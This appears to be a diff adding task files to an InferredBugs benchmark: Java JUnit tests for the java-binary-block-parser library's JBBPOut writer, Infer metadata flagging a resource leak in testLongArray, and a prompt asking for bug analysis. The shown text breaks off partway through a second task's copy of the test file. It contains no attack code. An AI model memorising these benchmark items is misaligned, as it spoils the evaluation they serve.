+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).end().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).end().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, binStart().Byte(-34).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, binStart().Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD, 0xFE).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, (byte) 0xFD, (byte) 0x8E).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(1, 3, 0, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(true, true, false, false, false, true, true, true).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(true, true, false, true).end().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short((short)0x0102, (short)0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short(new short[]{(short)0x0102, (short)0x0304}).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, binStart().Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Int(0x01020304, 0x05060708).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, binStart().Long(0x0102030405060708L,0x1112131415161718L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = binStart(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = binStart();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.end();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(binStart(dout).Byte(1,2,3).end());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(16384);
+
+    final JBBPOut begin = new JBBPOut(buffer);
+
+    begin.
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+            end();
+
+    final byte[] array = buffer.toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `binStart()` at line 195 is not released after line 195.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testLongArray()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testLongArray():void.c87bf15e8102838eca636f86d717b9d1
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testLongArray|RESOURCE_LEAK
+
+### Node Key:
+4993c9594a0fc46e69f9bfd2837c960e
+
+### Hash:
+4d167dc7b45a1e82f7a8c68e21019b3c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9084/instruction.md b/inferredbugs-9084/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..580ea5230d288a66ca04852136c6d6aaee9e5e40
--- /dev/null
+++ b/inferredbugs-9084/instruction.md
@@ -0,0 +1,494 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
+  @Test
+  public void testBinStart() throws Exception {
+    assertArrayEquals(new byte[]{1},binStart().Byte(1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},binStart(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},binStart(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},binStart(JBBPBitOrder.MSB0).Byte(1).end().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, binStart(buffer).end());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).end().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).end().toByteArray().length);
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).end().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).end().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, binStart().Byte(-34).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, binStart().Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD, 0xFE).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, (byte) 0xFD, (byte) 0x8E).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(1, 3, 0, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(true, true, false, false, false, true, true, true).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(true, true, false, true).end().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short((short)0x0102, (short)0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short(new short[]{(short)0x0102, (short)0x0304}).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, binStart().Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Int(0x01020304, 0x05060708).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, binStart().Long(0x0102030405060708L,0x1112131415161718L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = binStart(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = binStart();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
